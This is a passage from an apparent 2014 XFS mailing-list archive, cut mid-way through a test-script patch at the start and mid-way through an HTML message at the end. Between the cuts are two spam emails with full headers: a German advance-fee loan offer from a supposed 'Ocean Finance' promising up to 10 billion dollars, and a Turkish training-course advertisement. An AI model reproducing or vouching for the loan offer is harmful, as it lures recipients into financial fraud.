$SCRATCH_MNT/direct_aio.$k.0 >> $seqres.full 2>&1 done # Following like will check that pid is still run. # Once fio exit we can stop fallocate/truncate loop -- 1.8.3.1 From phillipkross@europe.com Thu Jan 30 16:51:42 2014 Return-Path: <phillipkross@europe.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, LOTS_OF_MONEY,MONEY_FROM_41,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EA0267F95 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 16:51:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CADEB8F8033 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:51:39 -0800 (PST) X-ASG-Debug-ID: 1391122296-04bdf0121e3c4a0001-NocioJ Received: from mailcleaner.wika.co.id (mailcleaner.wika.co.id [202.159.16.230]) by cuda.sgi.com with ESMTP id KDSM5ovvGsxPg91G; Thu, 30 Jan 2014 14:51:37 -0800 (PST) X-Barracuda-Envelope-From: phillipkross@europe.com X-Barracuda-Apparent-Source-IP: 202.159.16.230 X-IronPort-AV: E=Sophos;i="4.95,752,1384275600"; d="scan'208";a="4205754" Received: from unknown (HELO mail.wika.co.id) ([192.168.75.244]) by mailcleaner.wika.co.id with ESMTP; 31 Jan 2014 05:51:35 +0700 Received: from localhost (mail.wika.co.id [127.0.0.1]) by mail.wika.co.id (Postfix) with ESMTP id 0C93F8A004F; Fri, 31 Jan 2014 05:50:43 +0700 (WIT) X-Virus-Scanned: amavisd-new at wika.co.id Received: from mail.wika.co.id ([127.0.0.1]) by localhost (mail.wika.co.id [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jfXhYUxm1+u4; Fri, 31 Jan 2014 05:50:42 +0700 (WIT) Received: from [192.168.0.2] (unknown [41.203.67.140]) by mail.wika.co.id (Postfix) with ESMTPSA id EC4FF8AC018; Fri, 31 Jan 2014 05:49:42 +0700 (WIT) Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: Kreditsuchenden - sich keine weiteren To: Recipients <phillipkross@europe.com> X-ASG-Orig-Subj: Kreditsuchenden - sich keine weiteren From: phillipkross@europe.com Date: Thu, 30 Jan 2014 23:49:45 +0100 Reply-To: ocean-finance-manager@financier.com Message-Id: <20140130224943.EC4FF8AC018@mail.wika.co.id> X-Barracuda-Connect: mailcleaner.wika.co.id[202.159.16.230] X-Barracuda-Start-Time: 1391122297 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA609_NRN, BSF_SC0_SA_TO_FROM_ADDR_MATCH, FUZZY_CREDIT, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144661 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 1.10 BSF_SC0_SA609_NRN Custom Rule SA609_NRN Hallo Loan Seeker, = Willkommen Ocean Finance Loan Company, hier bieten wir Kredite an Privatper= sonen und Unternehmen. At Ocean Finance bieten wir Kreditbetrag von $ 100.0= 00 auf 10 Milliarden Dollar. Unsere Preise sind gut, und wenn Sie eine sich= ere und bessere Darlehensr=FCckzahlungspolitik zu sichern, bitte nicht mehr= suchen, weil Sie in der richtigen Stelle zu suchen. = Bitte kontaktieren Ozean Darlehen Manager Finanzen, Herr Dave Lamas auf oce= an-finance-manager@financier.com zu mehr Information =FCber Anforderungen u= nd Schritte, die zu den Ozean Finanzierungsgesellschaft erm=F6glichen, Sie = machen die H=F6he des Darlehens, die Sie suchen. = Alles Gute, wie Sie gute Nutzung Ihrer Kreditbetrag machen und sicher sein,= dass wir die beste Politik R=FCckzahlung aller in der world.Our Darlehensz= ins-Stand auf 3,6% und bieten alle Arten von Darlehen = Hinweis: Wir bieten alle Arten von Darlehen, kontaktieren Sie bitte die Fin= anzierung Darlehen Manager f=FCr weitere Informationen. = Gr=FC=DFe = Herr Phillip Kross = Generaldirektor = Ozean Finance Loan Company From begitimduyurulari@gmail.com Thu Jan 30 21:43:20 2014 Return-Path: <begitimduyurulari@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.4 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, HTML_MESSAGE,MISSING_MIMEOLE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0E697F6D for <linux-xfs@oss.sgi.com>; Thu, 30 Jan 2014 21:43:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D6C398F8059 for <linux-xfs@oss.sgi.com>; Thu, 30 Jan 2014 19:43:16 -0800 (PST) X-ASG-Debug-ID: 1391139792-04cbb00c2a3f330001-w1Z2WR Received: from mail.egitimbul.info (mail.egitimbul.info [213.144.118.87]) by cuda.sgi.com with ESMTP id 7CYgdbNbGWuDiJC5 for <linux-xfs@oss.sgi.com>; Thu, 30 Jan 2014 19:43:13 -0800 (PST) X-Barracuda-Envelope-From: begitimduyurulari@gmail.com X-Barracuda-Apparent-Source-IP: 213.144.118.87 Received: from 78.180.86.221.dynamic.ttnet.com.tr (78.180.229.114.dynamic.ttnet.com.tr [78.180.229.114]) by mail.egitimbul.info with SMTP; Fri, 31 Jan 2014 05:38:04 +0200 MIME-Version: 1.0 From: "Yoneticiler icin" <begitimduyurulari@gmail.com> Reply-To: biymed@gmail.com To: linux-xfs@oss.sgi.com Subject: Satinalma Yonetimi ve Musteri iliskileri Yonetimi Content-Type: multipart/alternative; boundary="----=_NextPart_001_3D80_600B7485.2FF80B65" X-ASG-Orig-Subj: Satinalma Yonetimi ve Musteri iliskileri Yonetimi X-Mailer: Smart_Send_2_0_138 Date: Fri, 31 Jan 2014 05:42:45 +0200 Message-ID: <945224235141698532316@ayos-Bilgisayar> X-Priority: 1 X-MSMail-Priority: High X-Barracuda-Connect: mail.egitimbul.info[213.144.118.87] X-Barracuda-Start-Time: 1391139793 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.65 X-Barracuda-Spam-Status: No, SCORE=2.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, K2_MISSING_MIMEOLE, MISSING_MIMEOLE, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144670 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO 1.19 K2_MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE ------=_NextPart_001_3D80_600B7485.2FF80B65 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable B i y m e d E g i t i m v e D a n i s m a n l i k H i z m e t l e r= i 15-16-22-23 Subat 2014 Satinalma yonetimi Sertifika Programi (4 gun) 22-23 Subat 2014 ileri Derece Satinalma Yonetimi Satinalma Yonetimi ve Teknikleri 15-16 Subat 2014 Egitimin Icerigi: Satin almanin isletme icindeki rolu ve amaclari Temel satin alma sureci=20 Satin alma surecinde evrak, islem ve is akisi Satin almanin lojistik ile iliskileri Stok maliyetine giris Satin alma bolumunun organizasyonu Tedarikci cesitleri Tedarikci iliskileri ve degerlemesi Tedarikci secimi Malzeme yonetimi ve planlama isbirligi Satin alma performansinin olcumu Satin almada maliyet dusurme yontemler Satin almada toplam kalite yonetimi Satin almada takim calismasi Daha Fazla bilgi icin Tiklayin =20 ileri Derece Satinalma Yonetimi Egitimi 22-23 Subat 2014 Egitimin Icerigi: Satinalma Icin Cesitli Orgut Semalari Piyasa Etudu Yapma Sozlesme Hazirlama ve Yonetme (Ornekler) Kontrat Nasil Yapilir=3F Satinalma Butcesi Nasil Hazirlanir. Satinalmada Yasanan Yapisal ve Islevsel Sorunlar Satinalma Sisteminin Kurgusu Satinalma Siparisi - Giris Teslim Alma Islemleri Fiyatlandirma Kontrolu Satinalma Planlamasi Satinalmada Muzakere Sureci Tedarikci iliskileri Yonetimi (SRM) Tedarikci Degerlendirme Sistemi Nasil Kurulur Tedarikci Risk Analizi ABC (PARETO) Analizleri Tedarik Zinciri Yonetimi ve Satinama iliskileri Satinalmacinin Performans Degerlendirmesi Satinalma Raporlari Yeni Satinalma Stratejileri Nasil Gelistirilir=3F Isletme Malzeme Planlamasi (MRP) E-Satinalma Daha Fazla bilgi icin Tiklayin Musteri iliskileri Yonetimi Egitimi 22-23 Subat 2014 E=F0itim =DD=E7eri=F0i M=FC=FEteri Odakl=FDl=FDk M=FC=FEteri Odakl=FD Kurumsal =DDmaj Kurumsal imaj m=FC=FEteriye nas=FDl yans=FDr=3F Her temasta m=FC=FEteri alg=FDs=FD y=F6netimi M=FC=FEteri =DDli=FEkileri Y=F6netimi M=FC=FEteri Beklentileri Uzun D=F6nemli M=FC=FEteri Yakla=FE=FDm=FD ve G=FCven =DDli=FEkisi M=FC=FEteri Tipleri ve M=FC=FEteri Tiplerine Uygun =DDli=FEki Bi=E7imleri M=FC=FEteri =DEikayetlerinin =D6nemi =DEikayet Olu=FEum S=FCrecinde Al=FDnmas=FD Gereken =D6nlemler =DEikayet Kar=FE=FDlama ve =C7=F6z=FCm S=FCreci M=FC=FEteri Karar S=FCrecini Belirleyen Unsurlar M=FC=FEteri =DDli=FEkileri Y=F6netimi=92nde Temel =DDleti=FEim Yakla=FE=FDm= lar=FD Etkin Dinleme =C7=F6z=FCm Odakl=FDl=FDk =DDtirazlarla Ba=FEa =C7=FDkma =DDkna S=FCreci ve =DDkna Y=F6ntemleri =C7at=FD=FEma Y=F6netimi =DEikayet Kar=FE=FDlama K=FDzg=FDn M=FC=FEterilerle Ba=FEa =C7=FDkma M=FC=FEteri Temas Noktalar=FD Telefonla ileti=FEim Y=FCz y=FCze ileti=FEim Yaz=FDl=FD ileti=FEim Senaryolar ve uygulamalar E=F0itim Y=F6ntemi: E=F0itim uygulamal=FD olarak s=FCrd=FCr=FClecektir. Yap=FDlacak olan uygula= malarla kat=FDl=FDmc=FDlar kendilerinin ve i=FE arkada=FElar=FDn=FDn davran= =FD=FElar=FDn=FD (do=F0ru /yanl=FD=FE) g=F6zlemleyecek ve irdeleyecekler b= =F6ylelikle do=F0ru davran=FD=FE kal=FDplar=FDn=FD geli=FEtirmelerine katk= =FDda bulunulacakt=FDr. 2014 Egitim Takvimi =20 8-9 Subat 2014 Mali Tablolar Analizi 15-16 Subat 2014 Satin Alma Yonetimi ve Teknikleri UFRS Uluslararasi Muhasebe Standartlari 15-16-22-23 Subat 2014 Satinalma Yonetimi Sertifika Programi 19 Subat 2014 Zaman Yonetimi Egitimi 20-21 Subat 2014 Lojistik ve Tedarik Zinciri Yonetimi Egitimi 22-23Subat 2014 Finansci Olmayanlar icin Finans Yonetimi Egitimi Satis Becerileri Egitimi Musteri iliskileri Yonetimi Egitimi ileri Derece Satinalma Yonetimi Egitimi ISO9001:2008 KYS ic Denetci Egitimi Isletme Butceleri ve Butce kontrol Teknikleri Ofis Yonetimi ve Yonetici Asistanligi Egitimi 1-2 Mart 2014 Uretim Planlama ve Stok Yonetimi 22 Mart 2014 ileri Satinalma'da Stratejik Fiyat ve Tedarikci Yonetimi Egitimi 22-23 Mart 2014 Satinalma=92da Ileri Yonetim Teknikleri Egitimi 22 Mart 2014 ileri Satinalma'da Sozlesme ve Butce Yonetimi ile Uluslararasi ve Endirek S= atinalma Egitimi B i y m e d E g i t i m Egitim ve Danismanlik Hizmetleri 0 212 230 90 09 e g i t i m @ b i y m e d . c o m =20 linux-xfs@oss.sgi.com : Remove Email ------=_NextPart_001_3D80_600B7485.2FF80B65 Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HEAD> <STYLE> <!-- p {margin-right:0cm; margin-left:0cm; font-size:12.0pt; font-family:"Times New Roman","serif"; } table.MsoNormalTable {mso-style-parent:""; font-size:10.0pt; font-family:"Times New Roman","serif"} p.MsoNormal {mso-style-parent:""; margin-bottom:.0001pt; font-size:12.0pt; font-family:"Times New Roman","serif"; margin-left:0cm; margin-right:0cm; margin-top:0cm} li.MsoNormal {mso-style-parent:""; margin-bottom:.0001pt; font-size:12.0pt; font-family:"Times New Roman","serif"; margin-left:0cm; margin-right:0cm; margin-top:0cm} --> </STYLE> <STYLE> <!-- table.MsoNormalTable {mso-style-parent:""; font-size:10.0pt; font-family:"Times New Roman","serif"} p {margin-right:0cm; margin-left:0cm; font-size:12.0pt; font-family:"Times New Roman","serif"; } span.apple-style-span {} p.MsoNormal {mso-style-parent:""; margin-bottom:.0001pt; font-size:12.0pt; font-family:"Times New Roman","serif"; margin-left:0cm; margin-right:0cm; margin-top:0cm} body{display:none;}body{display:block !important;}BODY{cursor:progress;}.t_= mbgc{background-color:#FFFFFF;}.slideOnResize {-ms-transition: top 367ms cu= bic-bezier(0.1, 0.9, 0.2, 1) 0s, left 367ms cubic-bezier(0.1, 0.9, 0.2, 1) = 0s, right 367ms cubic-bezier(0.1, 0.9, 0.2, 1) 0s;}.t_qtc{color:#444;}.Exte= rnalClass{font-size:15px;font-family:Calibri,sans-serif;} li.MsoNormal {mso-style-parent:""; margin-bottom:.0001pt; font-size:12.0pt; font-family:"Times New Roman","serif"; margin-left:0cm; margin-right:0cm; margin-top:0cm} --> </STYLE> <META name=3DGENERATOR content=3D"MSHTML 11.00.9600.16428"></HEAD> <BODY> <TABLE class=3DMsoNormalTable style=3D"WIDTH: 100%" cellSpacing=3D5 cellPad= ding=3D0 width=3D"100%" border=3D0> <TR style=3D"HEIGHT: 33pt"> <TD style=3D"HEIGHT: 33pt; BACKGROUND: #0066cc; PADDING-BOTTOM: 3pt; PADDIN= G-TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt"> <P style=3D"TEXT-ALIGN: center" align=3Dcenter><B><SPAN style=3D"FONT-FAMIL= Y: Arial">B i y m e d&nbsp;&nbsp; E g i t i m&nbsp;&nbsp; v e&nbsp;&nbsp; D= a n i s m a n l i k&nbsp;&nbsp; H i z m e t l e r i</SPAN></B></P></TD></T= R> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #b9daff; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <P align=3Dcenter><FONT size=3D2 face=3DArial>15-16-22-23 Subat 2014 <B>Sat= inalma yonetimi Sertifika Programi</B> (4 gun)</FONT></P> <P align=3Dcenter><FONT size=3D2 face=3DArial>22-23 Subat 2014 <B>ileri Der= ece Satinalma Yonetimi</B></FONT></P></TD></TR> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #ecf5ff; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <P align=3Dcenter><FONT face=3DArial><B>Satinalma Yonetimi ve Teknikleri<BR= >15-16 Subat 2014</B></FONT></P> <P align=3Dleft><FONT size=3D2 face=3DArial><B>Egitimin Icerigi:</B></FONT>= </P> <UL> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin almanin isletme icindeki = rolu ve amaclari </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Temel satin alma sureci</FONT><= FONT face=3DArial> </FONT> <UL> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin alma surecinde evrak, isl= em ve is akisi</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin almanin lojistik ile ilis= kileri</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Stok maliyetine giris</FONT><FO= NT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin alma bolumunun organizasy= onu</FONT><FONT face=3DArial> </FONT></P></LI></UL> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Tedarikci cesitleri</FONT><FONT= face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Tedarikci iliskileri ve degerle= mesi</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Tedarikci secimi</FONT><FONT fa= ce=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Malzeme yonetimi ve planlama is= birligi</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin alma performansinin olcum= u</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin almada maliyet dusurme yo= ntemler</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin almada toplam kalite yone= timi</FONT><FONT face=3DArial> </FONT></P> <LI> <P align=3Dleft><FONT size=3D2 face=3DArial>Satin almada takim calismasi </= FONT></P></LI></UL> <P align=3Dleft><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Daha Fa= zla bilgi icin <A href=3D"http://biymed.us4.list-manage.com/track/click=3Fu= =3Ded66d4ce18bce10ba80298590&id=3D01b7c6562c&e=3D4d60054583">Tiklayin</A></= SPAN><FONT face=3DArial> </FONT></P> <P><FONT face=3DArial></FONT>&nbsp;</P></TD></TR> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #ecf5ff; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <P id=3Dyui_3_13_0_ym1_1_1387176994806_12519 style=3D"TEXT-ALIGN: center; M= ARGIN: 2.25pt 0cm" align=3Dcenter><B id=3Dyui_3_13_0_ym1_1_1387176994806_12= 521><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_12520 style=3D"FONT-SIZE: 11p= t; FONT-FAMILY: Arial">ileri Derece Satinalma Yonetimi Egitimi<BR>22-23 Sub= at 2014</SPAN></B><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_12518 style=3D"= FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'"></SPAN></P> <P id=3Dyui_3_13_0_ym1_1_1387176994806_12516 style=3D"MARGIN: 2.25pt 0cm"><= B><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Egitimin Icerigi:</SP= AN></B><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_12515 style=3D"FONT-SIZE: = 11pt; FONT-FAMILY: 'Calibri','sans-serif'"></SPAN></P> <UL> <LI> <P id=3Dyui_3_13_0_ym1_1_1387176994806_12511 style=3D"MARGIN: 2.25pt 0cm 2.= 25pt 36pt; TEXT-INDENT: -18pt"><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_12= 510 style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Icin Cesitli Or= gut Semalari </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Piyasa Etudu Yapma </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Sozlesme Hazirlama ve Yonetme (Orn= ekler) Kontrat Nasil Yapilir=3F </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Butcesi Nasil Hazirlanir= . </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalmada Yasanan Yapisal ve Isl= evsel Sorunlar </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Sisteminin Kurgusu </SPA= N></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Siparisi - Giris </SPAN>= </P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Teslim Alma Islemleri </SPAN></P> <LI> <P id=3Dyui_3_13_0_ym1_1_1387176994806_13250 style=3D"MARGIN: 2.25pt 0cm 2.= 25pt 36pt; TEXT-INDENT: -18pt"><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_13= 249 style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Fiyatlandirma Kontrolu </= SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Planlamasi </SPAN></P> <LI> <P id=3Dyui_3_13_0_ym1_1_1387176994806_13252 style=3D"MARGIN: 2.25pt 0cm 2.= 25pt 36pt; TEXT-INDENT: -18pt"><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_13= 251 style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalmada Muzakere Sure= ci </SPAN><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_13254 style=3D"FONT-SIZ= E: 11pt; FONT-FAMILY: 'Calibri','sans-serif'"></SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Tedarikci iliskileri Yonetimi (SRM= ) </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Tedarikci Degerlendirme Sistemi Na= sil Kurulur</SPAN><FONT face=3DArial> </FONT></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Tedarikci Risk Analizi</SPAN><FONT= face=3DArial> </FONT></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">ABC (PARETO) Analizleri </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Tedarik Zinciri Yonetimi ve Satina= ma iliskileri </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalmacinin Performans Degerlen= dirmesi </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Satinalma Raporlari </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Yeni Satinalma Stratejileri Nasil = Gelistirilir=3F </SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">Isletme Malzeme Planlamasi (MRP) <= /SPAN></P> <LI> <P style=3D"MARGIN: 2.25pt 0cm 2.25pt 36pt; TEXT-INDENT: -18pt"><SPAN style= =3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial">E-Satinalma </SPAN></P></LI></UL> <P style=3D"MARGIN: 2.25pt 0cm"><B><SPAN style=3D"FONT-SIZE: 10pt; FONT-FAM= ILY: Arial">Daha Fazla bilgi icin <A href=3D"http://biymed.us4.list-manage.= com/track/click=3Fu=3Ded66d4ce18bce10ba80298590&id=3D63f54dc1d0&e=3D4d60054= 583">Tiklayin</A></SPAN><FONT face=3DArial> </FONT></B></P></TD></TR> <TR> <TD style=3D"WIDTH: 100%; BACKGROUND: #ecf5ff; PADDING-BOTTOM: 3pt; PADDING= -TOP: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt" vAlign=3Dtop width=3D"100= %"> <P id=3Dyui_3_13_0_ym1_1_1387176994806_13255 style=3D"TEXT-ALIGN: center; M= ARGIN: 2.25pt 0cm" align=3Dcenter><B><SPAN style=3D"FONT-FAMILY: Arial">Mus= teri iliskileri Yonetimi Egitimi<BR></SPAN></B><B id=3Dyui_3_13_0_ym1_1_138= 7176994806_13256><SPAN id=3Dyui_3_13_0_ym1_1_1387176994806_13257 style=3D"F= ONT-SIZE: 9pt; FONT-FAMILY: Arial">22-23 Subat 2014</SPAN></B><SPAN id=3Dyu= i_3_13_0_ym1_1_1387176994806_13258 style=3D"FONT-SIZE: 11pt; FONT-FAMILY: '= Calibri','sans-serif'"></SPAN></P> <P align=3Djustify><FONT size=3D2 face=3DArial><B>E=F0itim =DD=E7eri=F0i</B= > </FONT></P> <UL> <LI> <P align=3Djustify><FONT size=3D2 face=3DArial><B>M=FC=FEteri Odakl=FDl=FDk= <BR></B>M=FC=FEteri Odakl=FD Kurumsal =DDmaj<BR>Kurumsal imaj m=FC=FEteriye= nas=FDl yans=FDr=3F<BR>Her temasta m=FC=FEteri alg=FDs=FD y=F6netimi </FON= T></P> <LI> <P align=3Djustify><FONT size=3D2 face=3DArial><B>M=FC=FEteri =DDli=FEkiler= i Y=F6netimi<BR></B>M=FC=FEteri Beklentileri<BR>Uzun D=F6nemli M=FC=FEteri = Yakla=FE=FDm=FD ve G=FCven =DDli=FEkisi<BR>M=FC=FEteri Tipleri ve M=FC=FEte= ri Tiplerine Uygun =DDli=FEki Bi=E7imleri<BR>M=FC=FEteri =DEikayetlerinin = =D6nemi<BR>=DEikayet Olu=FEum S=FCrecinde Al=FDnmas=FD Gereken =D6nlemler<B= R>=DEikayet Kar=FE=FDlama ve =C7=F6z=FCm S=FCreci<BR>M=FC=FEteri Karar S=FC= recini Belirleyen Unsurlar </FONT></P> <LI> <P align=3Djustify><FONT size=3D2 face=3DArial><B>M=FC=FEteri =DDli=FEkiler= i Y=F6netimi=92nde Temel =DDleti=FEim Yakla=FE=FDmlar=FD<BR></B>Etkin Dinle= me<BR>=C7=F6z=FCm Odakl=FDl=FDk<BR>=DDtirazlarla Ba=FEa =C7=FDkma<BR>=DDkna= S=FCreci ve =DDkna Y=F6ntemleri<BR>=C7at=FD=FEma Y=F6netimi<BR>=DEikayet K= ar=FE=FDlama<BR>K=FDzg=FDn M=FC=FEterilerle Ba=FEa =C7=FDkma </FONT></P> <LI> <P align=3Djustify><FONT size=3D2 face=3DArial><B>M=FC=FEteri Temas Noktala= r=FD<BR></B>Telefonla ileti=FEim<BR>Y=FCz y=FCze ileti=FEim<BR>Yaz=FDl=FD i= leti=FEim<BR>Senaryolar ve uygulamalar </FONT></P></LI></UL> <P align=3Djustify><FONT size=3D2 face=3DArial><B>E=F0itim Y=F6ntemi: </B><= /FONT></P> <P align=3Djustify><FONT size=3D2 face=3DArial>E=F0itim uygulamal=FD olarak= s=FCrd=FCr=FClecektir. Yap=FDlacak olan uygulamalarla kat=FDl=FDmc=FDlar k= endilerinin ve i=FE arkada=FElar=FDn=FDn davran=FD=FElar=FDn=FD (do=F0ru /y= anl=FD=FE) g=F6zlemleyecek ve irdeleyecekler b=F6ylelikle do=F0ru davran=FD= =FE kal=FDplar=FDn=FD geli=FEtirmelerine katk=FDda bulunulacakt=FDr.</FONT>= </P> <P align=3Dcenter><B><SPAN style=3D"FONT-FAMILY: Arial"><A style=3D"TEXT-DE= CORATION: 